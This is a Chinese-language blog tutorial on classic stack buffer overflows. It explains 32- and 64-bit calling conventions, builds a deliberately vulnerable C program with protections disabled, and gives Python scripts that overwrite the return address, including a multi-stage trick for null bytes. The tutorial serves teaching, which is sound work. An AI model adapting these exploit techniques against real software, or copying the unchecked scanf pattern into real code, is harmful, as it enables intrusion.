LOADING

加载过慢请开启缓存 浏览器默认开启

marko1616's blog

栈溢出漏洞基础

2025/12/10

1. 栈溢出——经典的程序漏洞

在计算机程序中,函数调用是其核心运行机制。为了管理函数的调用、返回、参数传递和局部变量,计算机系统使用了一种名为 栈(Stack)的数据结构。由于其“后进先出”(LIFO)的特性和在内存中连续布局的特点,栈成为了一个常见且历史悠久的漏洞利用区域。

本文将引导你深入理解栈的工作原理,并通过一个经典的 栈溢出(Stack Overflow)攻击实例,展示如何劫持程序的执行流程。我们将从栈的基础理论出发,一步步构建一个存在漏洞的程序,并最终利用该漏洞来执行我们指定的代码。


2. 核心理论:函数调用、栈帧与ABI

要理解栈溢出,我们必须先了解函数调用时栈是如何工作的,以及不同架构下规则的差异。

2.1 栈的通用特性

  • LIFO(后进先出):最后压入栈的数据,最先被弹出。就像一摞盘子,你总是先取走最上面的那一个。
  • 高地址向低地址增长:在x86/x86_64架构下,栈顶指针(esp/rsp)会随着数据的压入(push)而减小,随着数据的弹出(pop)而增大。

2.2 调用约定(ABI)与栈帧

每次函数调用,都会在栈上创建一个独立的区域,称为栈帧(Stack Frame)。这个栈帧的精确布局由调用约定或**ABI(Application Binary Interface)**定义。它是一套规则,规定了函数如何传递参数、返回值以及如何维护栈帧。我们来看看最常见的两种(以System V ABI为例):

A. 64位调用约定 (x86_64 SysV ABI)

在64位Linux/macOS系统中,前6个整型或指针参数优先通过寄存器传递rdi, rsi, rdx, rcx, r8, r9),速度更快。只有超出6个的参数才会通过栈传递。

  • 典型栈帧结构 (x86_64):
    高地址
    │  +-----------------------------+
    │  | 第7个及之后的参数            | ← 由调用者压栈
    │  +-----------------------------+
    │  | 返回地址 (Return Address)   | ← call 指令自动压栈
    │  +-----------------------------+
    │  | 上一帧的栈底指针 (rbp)       | ← 函数序言保存
    │  +-----------------------------+
    │  | 局部变量 (Local Variables)  |
    └──► 当前栈顶 (rsp)
    

B. 32位调用约定 (x86 SysV ABI)

在32位环境中,参数主要通过栈来传递。调用者(Caller)将参数从右到左依次压入栈中,然后执行call指令。

  • 典型栈帧结构 (x86):
    高地址
    │  +-----------------------------+
    │  | 函数参数 (argN...arg1)      | ← 由调用者压栈
    │  +-----------------------------+
    │  | 返回地址 (Return Address)   | ← call 指令压栈 (ebp + 4)
    │  +-----------------------------+
    │  | 旧的 ebp 指针               | ← 函数序言保存 (当前ebp指向此)
    │  +-----------------------------+
    │  | 局部变量 (Local Variables)  | ← (ebp - N)
    └──► 当前栈顶 (esp)
    

攻击的关键在这两种情况下都是一样的:ret指令。如果我们能通过输入超长的数据,溢出局部变量的边界,覆盖掉保存在栈上的返回地址,那么当函数执行ret时,程序就会跳转到我们精心构造的地址,从而劫持控制流。

为了清晰地演示这一过程,我们的实验将采用32位环境,因为其参数和返回地址都在栈上的特性,使得内存布局更加直观。


3. 实验环境搭建

现在,我们来编写并编译一个存在栈溢出漏洞的程序。

3.1 目标程序 (vlun.c)

该程序包含一个危险函数 dangerous_function 和一个存在漏洞的 main 函数。main 函数使用 scanf("%s", buffer) 读取用户输入,但 buffer 只有4字节,这为栈溢出提供了可能。

// vlun.c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void dangerous_function() {
    const char *msg = "成功利用漏洞! 已获取系统控制权限!\n"
                      "      /\\_/\\\n"
                      "     ( o.o )\n"
                      "      > ^ <\n"
                      "      pwned\n";
    write(1, msg, strlen(msg));
}

int main(int argc, const char **argv, const char **envp) {
    char buffer[4];

    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 1, 0);

    printf("试着输入点东西:");
    scanf("%s", buffer);

    return 0;
}

3.2 编译与环境配置

为了让漏洞利用更容易复现,我们需要关闭一些现代编译器的安全机制。

编译指令:

clang -m32 -fno-stack-protector -fno-omit-frame-pointer -no-pie -O0 vlun.c -o vlun

编译选项解析:

  • -m32: 生成32位程序,与我们上面讨论的栈帧模型保持一致。
  • -fno-stack-protector: 禁用栈保护(Canary)。否则,编译器会在返回地址前插入一个随机值,用于检测溢出。
  • -fno-omit-frame-pointer: 保留栈帧指针(ebp)。这使得栈结构更清晰,便于调试和计算偏移。
  • -no-pie: 禁用地址空间布局随机化(ASLR)。这确保程序和函数的地址在每次运行时都是固定的。
  • -O0: 禁用代码优化。确保编译后的汇编代码与C源代码逻辑高度一致。

4. 漏洞分析与攻击实施

4.1 静态分析:确定目标地址

我们的目标是让程序跳转到 dangerous_function。首先,用 readelf 找到它的地址。

readelf -s vlun | grep dangerous_function

输出可能如下,记下这个地址:

   43: 080491b0    81 FUNC    GLOBAL DEFAULT   12 dangerous_function

我们的目标跳转地址是 0x080491b0

4.2 动态分析:计算溢出偏移量

接下来,我们用GDB调试程序,确定需要多少字节的填充才能覆盖到返回地址。

gdb vlun
  1. main 函数下断点并运行:

    (gdb) b main
    (gdb) r
    
  2. 反汇编 main 函数,观察栈布局:

    (gdb) disassemble
    

    你会看到类似下面的汇编代码:

    Dump of assembler code for function main:
       0x08049210 <+0>:     push   %ebp
       0x08049211 <+1>:     mov    %esp,%ebp
       ...
       0x08049214 <+4>:     sub    $0x24,%esp  ; 为局部变量等分配了 0x24 (36) 字节空间
       ...
       0x080492ad <+157>:   lea    -0xc(%ebp),%eax ; 将 buffer 的地址 ebp-0xc 放入 eax
       0x080492b0 <+160>:   mov    %eax,(%esp,%eiz,1)
       0x080492b3 <+163>:   call   0x8049080 <__isoc99_scanf@plt>
       ...
       0x080492c8 <+184>:   leave ; 这里在部分编译器情况下可能会出现非常规情况注意检查
       0x080492c9 <+185>:   ret
    
  3. 分析栈布局:

    高地址
    │  +-----------------------------+
    │  | 返回地址(Return Address)     | <- ebp + 0x4
    │  +-----------------------------+
    │  | 上一帧的栈底指针(rbp/ebp)     | <- ebp
    │  +-----------------------------+
    │  | ...                         |
    │  +-----------------------------+
    │  | char[4] buffer起点          | <- ebp - 0xc
    │  +-----------------------------+
    │  | ...                         |
    │  +-----------------------------+
    │  | char* buffer                | <- esp + 0x4
    │  +-----------------------------+
    │  | char* format                | <- esp
    └──► 当前栈顶(esp)
    
  4. 关联理论与实践:

    • 注意 scanf 的调用过程:两个参数(格式化字符串地址和buffer地址)都被 mov 到了栈上((%esp)0x4(%esp))。
    • 这完美印证了我们在理论部分讨论的 32位ABI 特性——参数通过栈传递,而不是像64位ABI那样优先使用寄存器。
  5. 计算偏移量:

    • 从汇编代码 lea -0xc(%ebp),%eax 可知,buffer 的起始地址是 ebp - 0xc(即 ebp - 12)。
    • 根据第2节的32位栈帧图,我们知道旧的 ebp 存储在 ebp 的位置,返回地址存储在 ebp + 4 的位置。
    • 因此,从 buffer 的起点到返回地址的距离为:(ebp + 4) - (ebp - 12) = 16 字节。
    • 这意味着,我们需要 16字节的填充数据 来刚好到达返回地址的位置。

4.3 构造并执行Payload

我们的Payload结构非常简单:16字节的垃圾数据 + 目标函数地址

Payload构造脚本 (exploit.py):

# exploit.py
import struct

# 之前找到的目标函数地址
target_addr = 0x080491b0
# 计算出的偏移量
offset = 16

# 构造Payload
# 'A' * 16 是填充数据
# struct.pack("<I", target_addr) 将地址打包成小端序的4字节
payload = b"A" * offset + struct.pack("<I", target_addr)

# 将Payload写入文件
with open("payload.bin", "wb") as f:
    f.write(payload)

print("Payload generated and saved to payload.bin")

执行攻击:
运行Python脚本生成payload.bin,然后通过管道将其作为程序的输入。

python3 exploit.py
./vlun < payload.bin

成功! 你将看到屏幕上输出了 dangerous_function 中的信息,证明我们成功劫持了程序的执行流程。

试着输入点东西:成功利用漏洞! 已获取系统控制权限!
      /\_/\
     ( o.o )
      > ^ <
      pwned
Segmentation fault

5. 64位情况下的栈溢出

在理解了32位环境下的栈溢出原理后,我们来看看64位系统(x86_64)下的情况。尽管基本原理相同,但64位ABI(Application Binary Interface)的一些特性会影响栈帧的布局和参数传递方式,从而改变我们计算偏移量和构造Payload的方法。

5.1 64位环境下的主要区别

  1. 寄存器传参: 在64位Linux/macOS(System V ABI)中,函数的前6个整型或指针参数通过寄存器 (rdi, rsi, rdx, rcx, r8, r9) 传递,而不是通过栈。这使得栈上通常只有局部变量和返回地址。
  2. 地址长度: 64位系统中的地址是8字节(QWORD),而不是4字节(DWORD)。因此,返回地址也需要8字节来覆盖。
  3. 栈对齐: 64位系统通常要求栈在 call 指令之前保持16字节对齐。编译器会自动处理这一点,但在手动构造栈帧时需要注意。

5.2 目标程序 (vlun.c) 及其64位编译

// vlun.c
#include <stdio.h>
#include <stdlib.h> // for strtoull
#include <stdint.h>
#include <string.h>
#include <unistd.h>

void dangerous_function() {
    const char *msg = "成功利用漏洞! 已获取系统控制权限!\n"
                      "      /\\_/\\\n"
                      "     ( o.o )\n"
                      "      > ^ <\n"
                      "      pwned\n";
    write(1, msg, strlen(msg));
}

int main(int argc, const char **argv, const char **envp) {
    char buffer[4];

    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 1, 0);

    char buffer2[20];
    uint64_t num_times;
    printf("请输入次数:");
    scanf("%s", buffer2);
    num_times = strtoull(buffer2, NULL, 10);

    for(uint64_t i=0; i<num_times; ++i) {
        printf("试着输入点东西:");
        scanf("%s", buffer);
    }

    return 0;
}

编译指令:
为了在64位环境下复现漏洞,我们同样需要关闭一些安全机制,并指定编译为64位程序。

clang -m64 -fno-stack-protector -fno-omit-frame-pointer -no-pie -O0 vlun.c -o vlun_64
  • -m64: 生成64位程序。
  • 其他选项与32位相同,用于关闭保护和优化。

5.3 静态分析:确定目标地址

同样,我们需要找到 dangerous_function 的地址。

readelf -s vlun_64 | grep dangerous_function

输出可能如下,记下这个地址:

    41: 0000000000401180    59 FUNC    GLOBAL DEFAULT   13 dangerous_function

我们的目标跳转地址是 0x0000000000401180

5.4 动态分析:计算溢出偏移量

接下来,我们用GDB调试 vlun_64 程序,确定 buffer 到返回地址的偏移量。

gdb vlun_64
  1. main 函数下断点并运行:

    (gdb) b main
    (gdb) r
    
  2. 反汇编 main 函数,观察栈布局:

    (gdb) disassemble main
    

    你会看到类似下面的汇编代码:

    Dump of assembler code for function main:
       0x00000000004011c0 <+0>:     push   %rbp
       0x00000000004011c1 <+1>:     mov    %rsp,%rbp
       0x00000000004011c4 <+4>:     sub    $0x40,%rsp   ; 为局部变量等分配了 0x40 (64) 字节空间
       ...
       0x0000000000401242 <+130>:   mov    %rax,-0x38(%rbp) ; num_times 存储在 rbp-0x38
       0x0000000000401246 <+134>:   movq   $0x0,-0x40(%rbp) ; 循环变量 i 存储在 rbp-0x40
       ...
       0x0000000000401266 <+166>:   lea    -0x1c(%rbp),%rsi ; 将 buffer 的地址 rbp-0x1c 放入 rsi (scanf的第二个参数)
       ...
       0x0000000000401288 <+200>:   add    $0x40,%rsp
       0x000000000040128c <+204>:   pop    %rbp
       0x000000000040128d <+205>:   ret
    
  3. 分析栈布局 (64位):

    高地址
    │  +-----------------------------+
    │  | 返回地址 (Return Address)   | <- rbp + 0x8
    │  +-----------------------------+
    │  | 上一帧的栈底指针 (rbp)       | <- rbp
    │  +-----------------------------+
    │  | ...                         |
    │  +-----------------------------+
    │  | char buffer[4]              | <- rbp - 0x1c
    │  +-----------------------------+
    │  | ...                         |
    │  +-----------------------------+
    │  | uint64_t num_times          | <- rbp - 0x38
    │  +-----------------------------+
    │  | uint64_t i                  | <- rbp - 0x40
    └──► 当前栈顶 (rsp)
    
  4. 计算偏移量:

    • 从汇编代码 lea -0x1c(%rbp),%rsi 可知,buffer 的起始地址是 rbp - 0x1c(即 rbp - 28)。
    • 根据64位栈帧图,我们知道旧的 rbp 存储在 rbp 的位置,返回地址存储在 rbp + 8 的位置。
    • 因此,从 buffer 的起点到返回地址的距离为:
      (rbp + 8) - (rbp - 0x1c) = 0x1c + 8 = 0x24 字节。
    • 这意味着,我们需要 36字节的填充数据 来刚好到达返回地址的位置。

5.5 构造并执行Payload:\x00 字节的挑战与多阶段覆盖

在64位栈溢出攻击中,一个常见的挑战是目标地址中可能包含 \x00 字节(空字节)。由于 scanf("%s", ...) 函数会将 \x00 视为字符串的终止符,并在读取到 \x00 时停止读取并自动在其后追加一个 \x00,这会使得我们无法直接通过 scanf 写入包含 \x00 的完整8字节地址。

我们的目标地址是 0x00401180。将其转换为小端序的8字节表示为 \x80\x11\x40\x00\x00\x00\x00\x00。可以看到,在 \x40 之后紧跟着一个 \x00。如果直接尝试用 struct.pack("<Q", 0x401180) 生成的 b'\x80\x11\x40\x00\x00\x00\x00\x00' 作为Payload的一部分,scanf 在读取到 \x40 后的第一个 \x00 时就会停止,导致返回地址的高位字节无法被我们控制,从而无法成功跳转。

为了克服 \x00 字节的限制,我们的Payload生成代码采用了一种非常巧妙的 多阶段覆盖(Multi-stage Overwrite) 策略。它利用了 scanf 的循环特性和其自动添加 \x00 的行为,分步将返回地址的高位字节清零,再写入目标地址的低位字节。

Payload构造脚本 (exploit_64.py):

# exploit_64.py
import struct

# TGT 0000000000401180
# 注意:这里只提供了地址的低3字节
addr_tail = b'\x80\x11\x40'

offset = 0x24 # 计算出的偏移量,36字节

with open("payload.bin", "wb") as f:
    # 写入 num_times = 6
    # 这意味着 main 函数中的 scanf("%s", buffer) 将被调用 6 次。
    f.write(b"6"+b"\n")

    # 第一阶段:清零返回地址的高位字节
    # 这 5 次输入的目标是利用 scanf 的 \x00 终止特性,逐步将返回地址的高位字节置为 \x00。
    # 每次输入都比前一次少一个 'A',导致 scanf 写入的有效字节数减少,
    # 并在末尾自动补齐 \x00,从而逐渐将返回地址的高位字节清零。
    for i in range(5):
        # 填充 offset 字节,然后是 (8-i) 个 'A'
        # 假设返回地址是 RA_H RA_L (高4字节 低4字节)
        # 下面采用的记号地址方向为:
        # 低地址--->高地址
        # 第一次循环 (i=0): 写入 8个 'A'。 RA -> AAAAAAAA
        # 第二次循环 (i=1): 写入 7个 'A',scanf 自动补 \x00。 RA -> AAAAAAA\x00
        # 第三次循环 (i=2): 写入 6个 'A',scanf 自动补 \x00。 RA -> AAAAAA\x00\x00
        # 第四次循环 (i=3): 写入 5个 'A',scanf 自动补 \x00。 RA -> AAAAA\x00\x00\x00
        # 第五次循环 (i=4): 写入 4个 'A',scanf 自动补 \x00。 RA -> AAAA\x00\x00\x00\x00
        # 经过这 5 次循环,返回地址的高 4 字节(或更高位)会被清零。
        padding = b"A" * offset + b"A" * (8-i)
        f.write(padding + b"\n")

    # 第二阶段:写入目标地址的低位字节
    # 这是最后一次循环,用于写入我们希望跳转到的目标地址。
    # 它由 36 字节的填充数据 ('A' * offset) 和目标地址的低 3 字节 (addr_tail) 组成。
    f.write(b"A" * offset + addr_tail +b"\n")

print("Payload generated and saved to payload.bin")

攻击分析:

  1. num_times = 6: 程序首先读取 num_times6,这意味着 scanf("%s", buffer) 将被调用 6 次。
  2. 第一阶段 (前 5 次 scanf 调用):清零返回地址的高位字节
    • main 函数中的 buffer 大小为4字节。每次 scanf("%s", buffer) 调用时,都会从 buffer 的起始位置开始写入。
    • padding = b"A" * offset + b"A" * (8-i) 会生成一个超过 buffer 大小,并能够覆盖到返回地址的字符串。
    • 例如,第一次循环 (i=0),Payload是 offset 个 ‘A’ 加上 8 个 ‘A’。scanf 会读取这 offset+8 个 ‘A’,并将其写入到 buffer 及其后面的栈空间,最终覆盖返回地址为 0x4141414141414141 (AAAAAAAA)。
    • 第二次循环 (i=1),Payload是 offset 个 ‘A’ 加上 7 个 ‘A’。scanf 读取 offset+7 个 ‘A’ 后,遇到换行符 \n 停止,并在写入的末尾自动添加一个 \x00。此时返回地址变为 0x0041414141414141 (AAAAAAA\x00)。
    • 以此类推,在经过 5 次循环后,返回地址的低 4 字节将是 0x41414141,而高 4 字节则被 scanf 自动添加的 \x00 清零,即返回地址变为 0x0000000041414141
  3. 第二阶段 (第 6 次 scanf 调用):写入目标地址的低位字节
    • 此时,栈上的返回地址是 0x0000000041414141
    • exploit_64.py 生成的最后一个Payload是 b"A" * offset + addr_tail,其中 addr_tailb'\x80\x11\x40'
    • scanf 会读取 offset 个 ‘A’,然后读取 \x80\x11\x40
    • 在读取 \x40 后,scanf 会遇到输入流中的换行符 \n。它会停止读取,并在写入的末尾追加一个 \x00
    • 因此,最终写入到返回地址位置的数据是 \x80\x11\x40\x00
    • 由于返回地址的高 4 字节已经被第一阶段清零为 0x00000000,所以最终整个8字节的返回地址将变为 0x0000000000401180

这种多阶段的利用方式,完美地规避了 scanf 无法直接处理 \x00 的问题,实现了对含有 \x00 的目标地址的完整覆盖。

执行攻击:
运行Python脚本生成payload.bin,然后通过管道将其作为程序的输入。

python3 exploit_64.py
./vlun_64 < payload.bin

成功! 你将看到屏幕上输出了 dangerous_function 中的信息,证明我们成功劫持了程序的执行流程。

请输入次数:试着输入点东西:试着输入点东西:试着输入点东西:试着输入点东西:试着输入点东西:试着输入点东西:成功利用漏洞! 已获取系统控制权限!
      /\_/\
     ( o.o )
      > ^ <
      pwned
Segmentation fault
阅读全文
1
avatar
marko1616

Description